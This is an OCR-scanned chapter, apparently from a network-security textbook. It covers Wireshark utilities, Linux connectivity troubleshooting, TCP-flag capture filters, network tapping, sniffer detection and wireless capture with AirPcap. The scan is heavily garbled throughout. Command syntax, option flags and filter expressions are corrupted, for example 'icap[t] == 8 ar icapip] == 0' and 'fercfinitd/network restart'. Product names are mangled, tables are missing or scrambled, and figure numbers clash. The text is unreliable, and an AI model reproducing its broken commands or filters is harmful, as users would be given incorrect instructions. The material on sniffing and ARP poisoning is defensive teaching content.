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* filesize=MNUM: Switch to next file after NUM KB
* files:WUM -ringbuffer: Replace after NUM files

Miscellaneous

-

-v: Print version information and exit

-h: Display the help and exit

Ctrl+ C can be used to stop capturing at any time.

Wireshark Utility: Editcap

Editcap is used to remove packets from a file and to translate the format of capture files. It detects, reads, and
writes the same capture files supported by Wireshark. It is similar to the Save As feature, but better.
The fallowing are some of the features of Editcap:

-

-

Editcap can read (to infile) all of the same types of files that Wireshark can, and it writes (o outfile] in
the libpcap format by defaul.

Editcap can also write captures to standard and modified versions of the following:
= libpcap

* Sun Smoop

= Movel LAMalyzer

* Merwork Access Identifier (WAL Sniffer

* Microsoft MetMon

= Visual Network traffic capture

= Accellent 5Views capture

* Metwork Instruments Observer version 9

Editcap can specify all or just some of the packets to be translated.

The following is an example of using editcap to translate the first five packets from a Wireshark libpcap
capture file called capture to a Sun Snoop cutput file called capture_snoop:

editcap -r -v -F snoop capture capture snoop 1-5
File capture is a libpcap (topdump Wireshark etc.) caprure file.
Add Selected: 1-5

Inclusive ... 1, 5

Record: |

Record: 2

Record: 3

Record: 4

Record: 5

Record: &

Record: 7

Record: 8

Record: &

Record: 10

output removed

The following are the options in Editcap:

-

-

-¢ spackets per fifee: Sets the maximum number of packets per output file
- wchoplenrs: Sets the chop length to use when writing the packet data
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-E werror probahilitys: Sets the probability that bytes in the output file are randomly changed
-F wfile format=: Sets the file format of the output capture file

-A wstart Himes: Saves only the packets whose time stamp is on or after the start time

-B wstop times: Saves only the packers whose time stamp is on or before the stop time

-h: Prints the version and options, and exits

-r: Reverses the packet selection

-5 wsnaplenz: Sets the snapshot length to use when writing the data

-t wtime adjustment=: Sets the time adjustment to use on selected packets

-T wencapsulation types: Sets the packet encapsulation type of the cutput capture file

-z Causes Editcap to print verbose messages while it is working

Wireshark Utility: Mergecap
Mergecap is used to combine multiple saved capture files into a single output file. It can read all the same types

of files that Wireshark can, and it writes to the libpcap format by defaule.
Other features of Mergecap include the following:

It detects, reads, and writes the same capture files supported by Wireshark.

Mergecap can write the output capture file to standard and modified versions of the following:
= libpecap

* Sun Sooop

= Movel LAMalyzer

= WAl Sniffer

* Microsoft NetMon

By default, the packets from the input files are merged in chronolegical crder based on each
packet’s times tamp.

If the -a option is specified, packets will be copied directly from each input file to the output file
regardless of time stamp.

The following is an example of using Mergecap to merge four capture files (capturel, capture2,

capture3, and capture4] into a single Sun Snoop output file called merge_snoop. Mergecap will keep

reading packets until the end of the last file is reached:
margecap -v -F snoop -w merge_snoop capturel capture? captured captured
mergecap: capture] is type libpcap (tcpdump, Ethereal, etc.).
mergecap: capturel is type libpaap [trepdump, Ethereal, erc).
mergecap: capture} is type libpcap [trepdump, Ethereal, etc).
mergecap: captured is type libpcap (tcpdump, Ethereal, enc).
mergecap: opened 4 of 4 input files

mergecap: selected frame_type Ethernet (ether|

Record: 1

Record: 2

Record: 3

Record: 4

Record: §

Record: 6

Record: 7

Record: B

1.9
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Record: &
Record: 10
output removed
The following are the options for Mergecap-
* -g: Causes the frame time stamps to be ignored; writes all packets from first input file and so on
* -F wfile formate: Sets the file format of the output capture file
* - Prints the version and aptions, and exits
* -5 wsmaplens: Sets the snapshot length to use when writing the data

* gz Causes Mergecap to print verbose messages whilbe it is working
* - cowtfilexl-: Sets the output filename. If the name is *-", stdout will be used; it is mandatory

* T cemcapsulation types: Sets the packet encapsulation type of the output capture file

Wireshark Utility: Text2Zpcap

Textpcap reads ASCII hex dump captures and writes the data into a libpcap output file.
The fallowing are some features of Text2peap:

* Text2pcap is capable of reading hex dumps containing multiple packets and huilding a capture file of
multiple packets.

* [t can also read hex dumps of application-level data by inserting dummy Ethernet IF and User Datagram
Protocol [UDP) or TCP headers specified by the user.

The following is an example of the type of hex dump that Text2peap can recognize:
o000 00 05 5d me 7= 53 08 00 20 of 5h 35 OB OO 45 00, J.=E5. . .[9. .E.
D01 Q0 9a 13 5= 40 00 3c 06 =0 70 o0 a8 64 Ta cO al8. .. .@.=. .p. de. .
0020 54 84 00 17 OS5 42 O= af 91 43 8e dA =3 6a 50 1B d. .. .I...C.. R
0030 ol =8 ba 7b 00 00 4c 61 73 T4 0 6c &f 67 &% ee. . .[. .Last login
o040 Za 20 B3 75 f= 20 4= Sf TE 20 20 32 20 31 37 3a : Bun How 2 17:
DOS0 30 36 3a 35 33 20 &6 72 &F 6d 20 31 3% 3IE 2e 31 05:53 from 153.1
OO&E0 2E 3B 2e 31 30 30 Ze 31 33 32 0d 0a B2 75 E= 20 EB.100.13Z. .Sun
op?0 4d §9 &3 72 &F 72 79 73 74 65 &d 72 0 49 6= 1 Microsysteams Inc
D080 2= 20 20 20 B3 75 ga 4f 53 20 35 e 39 0 20 20 . BundE 5.5
o080 20 20 20 20 47 E5 Em 65 T1 65 £3 ZD 4d 61 79 Z0 Generic May
o0ad 32 30 30 32 04 oDma 23 20 ZOOZ. -§

The following is an example of using TextZpcap to read the previously shown hex dump, hex_sample.txt,

and output it to the libpeap_output file:

text2pcap hex_sample.txt libpcap_output

Input from: hex_sample.txt

Crutput to: libpeap_output

Wrote packet of 168 bytes at 0

Read 1 potential packets, wrote 1 packets

The following are the options for Text2peap:

= h: Displays a help message

* -d: Displays debugging information during the process
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= -g: Tells Text2pcap to he completely quiet during the process

® -0 hexloct: Specifies the radix for the offsets (hex or octal) and defaults 0o hex

= -|: Specifies the link layer type of this packet

= -g «l3Ipid=: Includes a dummy Ethernet header before sach packet

® i wprotos: Includes dummy 1P headers before sach packet

® -m «max-packet=: Sets the maximum packet length; default is 64,000

® -y asrcports,cdestports: Includes dommy UDF headers before each packet

® T ausrcports cdestport=: Includes dummy TCF headers before each packet

® -5 csrcparts adestports ctage: Includes dummy SCTP headers before each packet
= -5 osrcportedestportecppiz: Includes dummy SCTF headers before each packet
* -t wtimefmes: Treats the text before the packet as o datettime code

Protocol Dissection

A protocol dissector allows Wireshark to break down the protocols inte small sections to analyze them.
Wireshark uses various dissectors for analyzing different protocols. (For example, the ICMP [Imternet
Contral Management Protocol] protocol can be broken down by the use of an ICMP protocol dissector.)
Wireshark activates the ICMP protocol dissector that takes the raw data from the network and transforms
or formats it into an ICMP-compatible packet. Figure 3-2 shows protocol dissection. Here, the ICMT dis-
sector acts as a translating device that makes use of Wireshark. It simultanecusly searches as well as filters
the file.

‘Wireshark usually chooses the corresponding protocol dissector for a packet, but sometimes it may not
choose the right dissector. This is typically because of a nonstandard configuration of a protocol. This can be
controlled through the following two means:

1. By completely disabling the protocol dissector
2. By diverting the method Wireshark usually uses for calling dissectors

T enable or disable a particular protocol dissector, lecate the Enabled Protocols dialog box (Figure 3-3). By
default, all the protocol dissectors are enabled, but the user may selectively enable and disable them here. If one
of the protocels is disabled and the packet related to it arrives, Wireshark simply stops processing it and moves
to the next packet.

Steps to Solve GNU/Linux Server Network Connectivity Issues

Steps for diagnosing GV Linux server network connectivity issues are as folbows:
1. Check commectivity wsing the ping and traceroute (fracert in Windowes) commands:
* Using the ping command: The IF address of the server should be pinged in order to get the hosts name.
For example-
ping 75.126.43.232

[E
| PRk Ul b e Ave B b cminedl
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O viwr cxdi=i"imea s ibh ficwie - 1k

Trmabar  CORONONIOE
Pl Tl P SRR RGP WA AN Pl T3 N ORE W(TD AT e
borawi ael s caar eacal, s e an DA MeTs Anes Gaczan s, ok o 1ea

Figure 2-2 The IOMP dissector acts as a translating device. It searches and filters
the file at the same time.
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Figure 3-3  Unchecking the boxes disables the protocols, allowing
Wireshark to target specific protacols.

ping cybercitibiz

Here, 75.126.43.232 is the IF address of the host and cyberciti.biz is the host™s name. If there is a
problem with using the host™s name and it only responds to the 1P address, make sure that the DS
mame servers are correctly set in the fetciresalv.conf file.

Using the traceroute command: The traceroate command is used for tracing nevwork problems. The
huwst’s name is given to it, and the traceroute command displays information about the path to the
hst. The user can identify whether the server is down from its own workstation or gateway router.
For example, traceroute cyberciti.biz.

1. Check for defawlt rostedpatewsay IF: It is necessary to check the route settings if the traceroute command
fails to point out the location of the user's own gateway:
route add default gw 192.168.1.254 ethd

3. Check the IF address: Ensure that the 1P address is what the DHCP server has assigned. This is because
there is a possibility that the network administrator has changed the IP address or other important

information. To salve this easily, restare the network interface. The commands for restarting the network
interface are as follows:

fercfinitd/network restart
tail -f fvar/logfmessage
ifconfig -a

route

4. Check the metrwork cables and power supply: Ensure that there is a power supply and that the network
cables are plugged into the interface and the network™s hub.
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5. Check for firescall logs: User firewall settings should be made so that they do not deny the access to the

server: iptables -1 -n
tail -f frarflog/messages
fetc/finit.d/fiptables stop

. Ensure that correct ports are connected: Usually, important services are connected to the default ports,

such as:

* HTTFP: part 80
* Proxy: port 3128
* 55H: pore 22

* FTF: port 21

Sometimes, the default port connection is changed in order to gain high security. In that case, the user or
the administrator should connect the appropriate port for a particolar service.

. Perform metwork analysiz: Metwork protocol analysis tools such as Wireshark, Tepdump, and sniffers

help keep track of routing, commumnication between the client and the server, and so on.

MNetwork Troubleshooting Methodology
Using Wireshark for Network Troubleshooting

Metwark troubleshooting concerns identifying and solving networking problems to improve netwoark perfor-
mance. The key to successfully troublesheoting a problem is knowing how the network functions under normal
conditions. Ome way to know how a network normally functions is to use a sniffer at various points in the net-
work. This will allow one to get a sense of the protocels that are running on the nerwork, the devices on each
segment, and the top talkers (computers that are sending and receiving data most frequently). A good approach
to network troubleshooting invalves the following seven steps:

Recopnize the symptoms: The first step to network troubleshooting is to recognize the symptoms. Besides
the annoying beep of your pager, you might also learn about a network problem from another user or
network management station alerts, or you may be having trouble accessing the network yourself. The
problem could be performance issues, connectivity issues, or other strange behavior.

. Diefime the problem: After recognizing the symptoms, you should write a clear definition of the problem.

3. Analyze the problem: Once the symptoms have been identified and the problem has been defined, the next

step is to analyze the problem. You will need to gather data for analysis and narrow dewn the location of
the problem.

. lsolate the probiem: There are many ways to isclate the problem, such as to disconnect the computer thar

is causing problems, reboot a server, activate a firewall rule to stop suspected abnormal eraffic, or failover
to a backup Internet connection.

. ldemtify and test the couse of the problesm: This imeolves upgrading hardware or software, implementing

a new firewall rule, reinstalling a compromised system, replacing failed hardware, or redesigning the seg-
ments af your netwoark.

6. Solve the problem.
7. Verify that the problem has been solved: The last step of network troubleshooting is verifying that

the problem has been resolved and is not creating any new problems, or that the problem salved is not
indicative of o deeper underlying problem. Pare of this step of the process includes documenting the steps
taken to resolve the problem.

Figure 3-4 shows a flowchart with a typical network troubleshooting methodelogy.
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Figure 3-4  This is a typical netwark
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Using Wireshark for System Administration

ICMP Echo Request/Reply Header Layout

* The type ICMP protocol field, which is a one-byte field at the very beginning of the ICMP protocol
header, indicates the type of an ICMP packer.

If the type field is &, the packet is an ICMP echo [ping) request.

If the type field is 0, the packet is an ICMP echa |ping) reply.

This capture filter tests for packets that are either ICMP ping requests or ICMP ping replies by retriev-
ing the first hyte:

icap[t] == 8 ar icapip] == 0

-

-

* libpcap has some constant-value keywords named after ICMP fields) that give the offset and the pos-
sible valwes of those fields.
Figure 3-5 shows the header layout for an 1ICMP echo request o reply header. The keywords that define
comstant values for 1P flags are listed in the Table 3-3. Table 3-4 lists the keywords that provide names for the
ICMP type values.
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Used In Protoco

Table 2-3  This shows the keywords and constant valuas

I tha IF flags fiald

TCP Flags

2
]
4
g
g
:
i
i
g

ER 1Y

The TCF flags field is a bit field, which is an integer where the individual bits are used as separate fields. For
example, the TCF flags field is an B-bit integer field, but the bits in that integer represent independent fields that

are either true or false jor 1 or Q).

In a Tcpdump filter, language defines keywords with constant values for the TCP flags field, because it is
comman to test for the values of this field when leoking at TCP problems.
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Table 3-5 shows the keywords and constant values in the TCP flags field.

tep-push Ox0E
tepack mam
tep-urg ]
Table 2-5  This shows the keywords and
constant valuss In the TOF flags flald
TCP 5YN Packet Flags Bit Fleld

It is important to know how to use bit-field operators properly, because complications arise when multiple bits
can be set in a bit field. The TCP flags field can have multiple bits set. Table 3-6 shows the flags field of 2 TCP
packet with its S¥YN hit (tcp-syn) set.

Tahble 3-6 This table shows tha flags fisld of a TCF padiat with Its top-syn bit sat

In this case, m1]5.- the tcp-svn kit is set; therefore, the walue Dx02, which & the valus of fcp-syn, can
be tested:

topltepflag] == Oxdz
or
topltepflag] == top-sym
Table 3-7 shows a TCP SYM/ACK packet, where both the tcp-syn and top-ack bits are set.

Tahble 3-7  In this packat, both the top-syn and top-ack bits are set

When 5¥YN and ACK are both set, the TCP flags field equals 0x02 + 0x10, or Bx12. The filter tcpltcpflag]
== tep-syn will fail to show the packets that have SYM plus any other field set; the filter will give you packets
that have only 5¥M set. To write a filter to test for the YN bit, use the bitwise & operator to mask out all of
the bits except for the SY M bit:

topltepflag] & bcp-syn == OxdZz
or
tocpltocpflag] & bop-syn == tcp-syn

The bitwise arithmetic using & [bitwise AND) when comparing a TCP flags field that has SYN and ACK
set is shown in Table 3-8,

AND [ (] ] [ 1 o o2 trp-syn
e e

Table 2-B This tabls shovs tha bitwisa arithmsdic using & when comparing a TCF flags flald that has 5¥N and ACK sat
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In this case, the bitwise & produces a result of 0x02, which is equal to tcp-syn; therefare, it is determined
that the S5¥M bit is indeed set. By using bitwise 8¢, you can tell if any particular kit in the biv field is set.
Table 3-9 shows the bitwise arithmetic when the TCP flags field has only ACK set.

AND o o o o 1 o o0z tep-myn
L T
Table 2-8 This table shows tha bitwiss artthmatic using & whan comparing a TOP flags fiald that has just ACK sat

The result is 0x00, which does not equal tep-syn; therefore, 2 TCP ACK packet does not pass the tep[tcpflag]
& bop-syn == tcp-sym test.

Checking for Network Connectivity

A system administrator can use Wireshark to detect the layer a network interruption is coming from. An Ether-
net connection can be interrupted by problems in the operating system, drivers, applications, network switches,
configurations, or any number of other settings that can go awry. Wireshark can detect if the system is receiving
network packets.

ARP Packets

ART packets are the most basic packets. ARP jaddress resolution protoced) is a protocol method for finding
the corresponding media access contral {MAC) address or physical address when only the IF address is known.
A system will use an ARP packet when it has an [P address but no MAC address for a destination system. The
AR request is broadeast on the Ethernet segment. It will issue the following command sequence:

09:08:07:06:05:04 to EE-Ef-EE-EE-FE.2F

Who has 1B0.150.11.537 Tell 1850.150.11.5

0a:0Z:04:06:08:0f to 05:0B:07:08:05:04 1EB0.150.11.53

iz at Oa:02:04:08:08:08

In this example, System 1, or the initiating system, has a MAC address of 0%:08:07:06:05:04 and an IP of

180.190.1 1.5 System 1 does not know the MAC address of System 2, so it calls for all addresses: fE6f-FF8: 06
System | does know the IP address of the machine it wants to communicate with: 180.1%0.11.92. System 1
responds by giving its MAC address,

The Wireshark tool can check for the presence of this kind of traffic on a network, which can reveal

varius situations:

1. ARP traffic is extremely commaon; in fact, it is a preliminary step in normal network traffic. 5o if there is
no ARP traffic on a network during a capture, sither the capture is not working or the network may not
be working. The system administrator should chedk drivers and operating system configurations that may
be impeding network communication.

1. If a system is sending ART requests bat the destination machine does not respand, the destination may be
om a different nevwork. IF the system is receiving ART requests and sending [P traffic out on the network
but not receiving a response that has been verified with Wireshark, it may require a check into firewalls,
drivers, or network c\unﬁgurﬂinns.

3. If a system can see the network, the system administrator should check that systems on the netwoark can
connect to the application. Because most network applications are TCP based this only works for ap-
plications using TCP. TCP relies on a three-way handshake before exchanging any data. The handshake
itself can identify problems with an application. Because Wireshark dissects TCP packets, it can be used
to locate application problems.

Following are some of the situations that could happen during application communication on a network:

® YN wa SYN+HACK: If the Wireshark capture shows that a system is sending a 5YM packet but receives
ni response from the destination machine, the destination is not processing the packet. It could be thar a
firewall is blocking the packet or that the destination machine has a firewall running on it.
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* S¥N immediate response RET: If a Wireshark capture shows that the destination machine is responding
with the reset (R5T) flag, the destination is receiving the packet but there is no application bound to chat
port. A system administrator can check that the application is bound 1o the correct port on the correct
IF address.

* SYN SYN+ACK ACK commection closed: 1f a Wireshark capture shows the TCP connection estab-
lishes but immediately closes, the destination may be rejecting the system’s I address due to security
restrictions. To troubleshoot this on UNIX systems, check the tcpwrappers file at fetc/hoses.allow and
fetc/hosts.deny and verify that commaunication is not bocked.

A limited ARF cache overwrites all entries, which causes network problems.

* Too-short ARP timeouts result in problems on busy networks with more devices.

-

Tapping into the Network
Wireshark™s TAP system is a process for providing event-driven notification for packets that match certain pro-
tocods. The tapping system is divided into two parts:

1. A code in the actual dissectors to allow tapping data

2. An event-driven code that registers a TAF listener and processes the received data packets

Wired Tapping

Tapping a wired network using sniffers helps in capturing data packets; this is called weired tapping. It involves
twen phases:

1. Getting onto the wire and tapping the network
2. Capturing the data packets

The challenge of wired rapping is placing the sniffer at an appropriate point on the network. The major
hardware elements of the wired network are switch, hub, and router. A network may have many of each.
Because there are various devices on the network, it is hard to decide on the location for the sniffer. Sniffing
the packets is also not so easy; it requires a network interface card [MIC) that supports a promiscucus-maode
driver, as this allows the packet sniffer to view and capture data packets that are transmitted or received
across the netwoark.

Tapping into a Hubbed Network In a hubbed network, traffic flows through each port. This kind of
netwark is characterized by slow network traffic, low bandwideh, and frequent collisions of data packets that
lead to retransmission of data. To tap a packet, the analyst simply connects a packet sniffer to any of the empty
ports in the hub. This allows the sniffer to analyze any of the systems on the hub easily.

Tapping into a Switched Network A switched network is a common networking type. This type of net-
work allows a targeted device to capture traffic by port mirroring, ARP cache poisoning, and hubbing out. The
sniffer can only capture packets that are destined to the port it is plogged into.

* Port seirroring: The mechanism that sends a copy of data packets transmitted or received from one port
of the netwark switch to anather is port wrirroring. The Cisco Systems method is referred to as SPAN
[Switched Fort Analyzer).

Example:

Monitor session 1 source interface fastethe=rnet 01, 0f2, 073

Monitor session 1 destinaticn interface fastethernet 04 encap ingress vlan 1
In this example, data is mirrored from ports 011, @2, and 003 to port 004 via VEAN 1.

* ARF cache poisoming: In ARP cache poisoming, a false AR reply is sent to the original ARP request by
an attacker. This false information is then stored in the cache memory of the authorized user, redirecting
traffic o the attacker's machine. This is also called traffic redirection.
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* Hubbing ont:
# The analyzer or the sniffer is connected to the hub server.
= The hub, in turn, is connected to the switched LAMN network. This provides system-level privileges to
the analyzer application for executing commands on the network.

* Wireless tapping: Wireless tapping requires specifications such as signal strengeh and different wireless
management packets.

Using Wireshark for Security Administration

Security administrators can use Wireshark when they need to verify the security of an added or suspected proto-
col. Wireshark includes a feature called packet reassembdy that allows a system administrator o view contents
of network packets. Wireshark shows all pertinent data, including the username and password for the connec-
tiom, for telnet and FTP sesions. It can be used on other protocols but may return less data.

T use packet reassembly, first capture traffic using Wireshark or anather capturing tool. Then load the
capture file imto Wireshark and select any packet. Choose Follow TCP Stream. A window will pop open with
a transcript of the communication that occurred in that session. If the contents of the capture are hard to read,
choose ASCIL If the connection is noisy, you can sort by sender or receiver.

Detecting Internet Relay Chat Activity

Itermet Relay Chat (TRC) is also called symcbronows conferencing, and capturing and analyzing this kind of
traffic may be particularly important to network administrators when enterprise security is at risk. IRC is abso
frequented by hackers as a fertile hunting ground and by employees who hope to escape detection by using real-
time communication. Wireshark can detect IRC activity.

IRC typically uses TCP port 6667, In this example, Wireshark detects traffic with destination port 6667
The IRC traffic will ook like this:

Local client to IRC server

port GEHET:

USER username localsystem_example.com irc.example.net ;gaim

Remote IRC server o local clisnt:

MOTICE AUTH :*** Looking up your hostname. - .

Local client o IRC server

port Gibi T

MICK clever-nick-name

Remote IRC server to local client:

WOTICE AUTH :*** Checking identMOTICE AUTH :*** Found your hostname

At this point, it is fairly clear that this is an IRC connection. The system administrator should identify who
is using it.

Detecting Proprietary and Confidential Information

Wireshark can identify confidential and proprietary information if there is a consistent phrase that marks that
type of information. The first step would be to capture all outbound traffic on a SPAN port. Then use the Find
Packet function in Wireshark. Capture filters can help reduce the amount of traffic captured. For example,
exclude D'WS queries and internal network raffic.

Sniffar Detection

Sniffers are a form of passive attack. They don't interact with any devices or transmit any information, thus
making them very difficult to detect. Although tricky, detecting sniffers is possible. The easiest method is to
check your network interfaces to see if they are in promiscuous mode. On UNIX-based systems, the command
ifoonfig -a lists the network adapters on the system.
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Look for the PROMISC flag in the output, such as in the following example:
ifconfig -a

ethi Link encap-Ethernet HWaddr 00:02:E3:06:-5F-5A

inet addr-192.168.1.2 Bcast:1%2.168.1.255 Mask:255.255.255.0

UP BROADCAST RUNNING PROMISC MULTICAST MTU-1500 Betric:1
RX packets: 204 errors:0 dropped:0 overruns: 0 frame:0

TX packets:92 errors:0 dropped:0 overruns=0 carrier:0

collisions=0 txquevelen: 100

RX bytes: 46113 (450 Kb) TX bytes: 5836 (5.6 Kk

Interrupt:11 Base address:0x1800 Memory:e81 20000—e81 20038

1f ifconfig does not detect a sniffer that is currently installed and in promiscuous mode, the ip link command
can help. This is a TCPIP interface configuration and routing utility.
The following example shaws the output from the ip link command:

1: o= <LOOPBACK, UP» mtu 16436 gdisc noquene
link/loopback 0:0:00:00: 00:00:00 brd 00=00:00:00:00:00

1 ethD: <BROA DCAST. MULTICAST,PROMISC UP> miu 1500 qﬂi!l: pﬁ'l:u_Elﬁ‘ q]!rl. 10y
linkfether (0:02:03:06:5f:50 brd (EHEEARFFAF

Dietecting promiscucus mode on Windows systems is difficult because there are no standard commands that
list that type of informaticn. However, there i a free tool called PromiscDetect [developed by Arne Vidstram)
that detects promiscuous-made network adapters for Windows NT, 2000, and XP. It can be downloaded from
wienRisscurity roo bocipromiscdetect.

The following example shows the output of PromiscDetect: the D-Link adapter is in normal operation mode,
and the Intel adapter is running Wireshark:

PromiscDetece 10 - (c) 2002, Arne Vidstrom
{arme.vidstromi@ ntsecurity.mu|

- hetp=tintsecurity.nuitoolbox/promisc detects
Adapter name=

- D-Link DWL-650 11Mbps WLAN Card
Active filter for the adapter:

- Directed (capture packets directed to this computer)

- Multicast (capture multicast packets for groups the computer is 2 member of|
- Broadcast (capture broadcast packets)

A.dapd‘:r mames

- Intel| ) PROVI00 5P Mobile Combo Adapter

Active filter for the adapter:

- Directed (capture packets directed to this computer)

- Multicast (capture multicast packets for groups the computer is 2 member of |
- Broadcast (capture broadcast packets)

- Promiscuous jcapture all packets on the network)
WARNIMG: Because this adapter is in promiscuous maode, there could be a sniffer running on
this computer!
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Some sniffers cover their tracks by hiding PROMISC flags. Also, if a sniffer is installed on a compromised sys-
tem using a rootkit, the intruder will probably replace commands such as ifconfig. The following list describes

other methods that can be used to detect sniffers on the network:

® Watch for DINS reverse lookaps: Some sniffers perform DNS queries to resolve 1P addresses to host
names. This can be triggered by a network ping.

Send TOFSIP packets with fake MAC addresses to all IF addresses on the same Ethernet segment:
Maormally, the NIC drops packets with the wrong MAC address. However, in promiscoous mode,
some systems respond with a reset (RST) packer. This may also work in a switched environment,
because switches forward broadcast packees that they do not know the MAC addresses for.

Many new sniffers have built-in defenses for this technigue, altering the way they handle

MAC addresses.

Muonitar brb ports: A system administrator may not notice if a new device or connection is sneaked
onta a hub in a closet. Hubs can be monitored using a protece] such as SMMP via a network manage-
ment system to detect any unusual connects and disconnects.

ARP can link IP addresses to MAC addresses: If a system administrator sends an ARF to 2 non-
broadcast address and then sends a broadcast ping, only the sniffer will notice and send a response.
Therefore, the computer with the sniffer responds, so the system administrator can isolate the sniffer.
Use a bomeypot: A boneypof is a server that contains fake data and services to monitor the activity of
intruders. An intruder can create fake administrator or user accounts on a honeypot and then create con-
nections across the network using telnet or FTT. If sniffers monitor for usermames and passwords, they
will see the honeypot and the intruder will probably try to log into it. Honeypots run [D8 to monitar
activity, and signatures can be added to send alerts when fake accounts are used.

Carefully monitor basts: Monitor disk space, central processing unit [CPU) utilization, and response
times. Sniffers will gradually consume disk space as they capture data, and they can place extra strain
on the CPL. As the infected computer is used mare frequently, it begins to respond slower than normal.

Wireless Snitfing with Wireshark

Wireshark has advanced wireless protocol analysis techniques to support and help administrators trouble-
showot wireless networks, Wireshark can capture wireless traffic and decode it into a format that helps
administrators track down issues that are causing poor performance, intermittent connectivity, and ather
commen problems.

AirPcap is able to sniff wireless traffic. Using Wireshark's display filtering and protocol decoders, it is easy to
sort through large amounts of wireless traffic to identify security valnerabilities in the wireless network, includ-
ing weak encryption or authentication mechanisms, and information disclosure risks.

AirPcap

AirPeap is a program that captures wireless traffic on Windows workstations. It supports the Wireshark and
WinDump troubleshooting tools. AirPcap comes as a USE 2.0 adapter, and it has been fully integrated with
WinPcap. It can capture and analyze 802.11h/g wireless traffic, including comtrod frames, management frames,
and power information.

The following are some of the features of AirPcap:

= AirPeap supports Windows 2000, Windows XP 32-bit and 64-bit, Windows Server 2003 32-hit and
&4-hit, and Windows Vista 32-hit Complete.

* The AirPcap adapter, together with the Wireshark network analyzer, gives a detailed view of
80211 traffic, including contral frames {ACK, RTS, and CT5), management frames [beacon, prabe
requests and rEsponess, association/disassociation, and authentication/deauchentication), and
data frames.
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* The captured frames include the 802.11 frame check sequence (FCS), and it is possible to capture frames

with an invalid FC5 to spot remate access points with a weak signal.
* The network analyzer does not interrupt the host system’s wireless connection.

* Multichannel wireless analysis is accomplished by plugging in multiple AirPeap adapters. To capture
traffic from multiple channels simultaneously, an additional wireless card is needed for every channel to

be monitored.

Figure 3-& shows the Wireshark screen with callowts to various elements. Figure 3-7 shows multiple adapters

for capturing,

T analyze the traffic for a specific wireless AP or station, identify the channel or frequencies used by the
target device and configure the wireless card to use the same channel before initiating a packet capeure. This is
because wireless cards can only operate on a single frequency at any given time. Figure 3-8 shows the AirFoap

comtrod panel, where users can set these channels_
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Wireless Frequencies

Wireless networks can operate on multiple wireless channels using different frequencies in the same location.

Wireless channel mumbers and the corresponding frequencies are listed in Table 3-10.
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Figure 3-8 The AirPcap control panel allows users to set
channels, filters, and keys.
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Frequancy Channel Numbar

Table= 3-10  Thess are the wireless channal numbars and thair corresponding
frequandcis ot

Using Channel Hopping

To capture traffic for a specific station, it is important to have the channel nomber it is operating on. One tech-
nique for locating a channel number is to use chanmel boggring to rapidly scan through all available wireless
channels until the appropriate channel number is identified.

With channel hopping, the wireless card i still anly operating on a single frequency at any given time, but it is
rapidly switching between different channels, thus allowing Wireshark to capture any traffic that is present on the
current channel. Wireshark operates independently of the corrent channel selection; therefore, it is not necessary
to stop and restart the packet capture before each channel hop. Channel hopping causes traffic loss.

Using channel hopping, jommring attacks on B02.11 networks can be made tougher. Jamming requires knowl-
edge of the channel hopping sequence for transmission on a single channel at a time and must scan channels for
legitimate communications. Jammers scan and block static channels used for communication between client and
AP, and if communication is bo continue, it must hop to o new channel.

Interference and Collisions

Amnother challenge of sniffing wireless networks is the risk of interference and losing packets. "Wireless cards
can only receive or transmit asynchromously, so interference degrades the performance of networks. Wireless
networks must take precautions to prevent many stations from transmitting at the same time. While these
collision-aveidance mechanisms work well, it is still possible to experience collisions between transmitters on
the same channel or to experience collisions with wireless LAMNs and other household or office devices using the
same frequency. When devices transmit simultanecusly within range of the sniffing station, the transmission
becomes corrupted and the receiver rejects it as an invalid packes.

It is mot always possible to capture all the traffic on a wireless network. Some traffic may have become cor-
rupted in transit and rejected by the capture station wireless driver as noise.

Recommendations for Sniffing Wireless Networks
The following are recommendations for sniffing wireless networks:
* Find the captire station mear the sorrce: To begin a packet capture, locate the capture station close to
the source of the wireless activity.

* Disabile mearizy transmitters: Cards, plug-in and built-in, can cause interference. Disable any built-in
wirebess transmitters on the capture station during the packet capture, including IEEE B02.11 interfaces
and Bluetooth devices.

* Redwce CPU ntilization during capiwre: If the host machine’s CPU is highly utilized during capture,
p.'u:kzl: loss My ooour.
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* Matchk chamnel selection: Make sure the wireless card is sniffing on the same channel as the target net-
work. Channel hopping during packet capture will cause traffic kyss from the target network. Only use
channel hopping to discover the available networks; focus the capture on a single channel.

* Match modulation type: Over time, different modulation mechanisms have been developed to ac-
commodate faster data rates. Make sure the supported modulation mechanism for your wireless card
matches the target nework.

* Amalyze wireless traffic: Wireshark offers many useful features for analyzing wireless traffic, including
detailed pratocol dissectors, powerful display filters, customizable display properties, and the ability
decrypt wireless traffic.

Mavigating Wireshark's Packet Details Window

So Far, we have covered what Wireshark can do. This section will cover how to read the pm:l::t details window
to find relevant information. Wireshark is able to show the contents of a network in a treelike representation.
For wireless traffic, Wireshark presents a frame dissector window beginning with frame statistics, followed by
802.11 M AC-layer contents. If additional data follow the 802.11 header, Wireshark divides each of the proto-
cals that follow into a new window.

Frame Statistics

The frame statistics window provides summary information about the currently selected frame. The frame
window does not display the selected frame’s contents, but displays general information contained in the packet
capture for the selected frame. Please see Table 3-11 for more details.

Table 2-11  Theso are frame statistics and descriptions of aach [ranfituven)
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Table 2-11  Thesa are frams statistics and descriptions of eadh contouse

IEEE 802.11 Header

Following the frame statistics data, Wireshark dissects the protocol information for the selected packet. The
IEEE B02.11 header is fairly complex, unlike a standard Ethernet header. It is between 24 and 30 bytes [com-
pared to the standard Ethernet header of 14 bytes), has three or four addresses {compared to Ethernet’s two
addresses), and has numerous fields to specify various pieces of information pertinent to wireless networks.
Wireless frames can have additional protecols appended to the end of the IEEE 802.11 header, including en-
cryption options, Quality of Service |(JoS] options, and embedded protecol identifiers (IEEE 802.2 header), all
before actually getting any data to represent the upper-layer network layer protocols.

JEEE 802.171 Header Helds

Wireshark can apply inclusive or exclusive display filters to a packet capture to narrow the rumber of packets to
thuse comtaining wseful data. Table 3-12 shows display filters. During caprure, it is easy to become overwhelmed
by the amount of captured data. Display filters can exclude uninteresting traffic to reveal useful information
or identify a specific set of information. Using display filters, traffic from nearby APs can be excluded, and the
traffic displayed can be focused on a specific AT

Table 3-12 Thasa are Inclusive and exclusive display filters to help narrow captured data Tt}
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Figure 3-8  This shows a dump from a capture.

First, get the MAC address of the station that is connected to the target BSS (basic service set). On a Windows
system, you can extract this information by running ipconfig fall from a command shell.

Omce the correct station address is identified, use it to apply a display filter to the packet capture.

* Filter for station MAC [Figure 3-%)

= With the packet capture open, apply a display filter to display only traffic from the client station us-
ing the wlan.sa display field name. Assuming the station MAC address is 00:09: $hoel-c4:03, the dis-

play filter would be applied as:
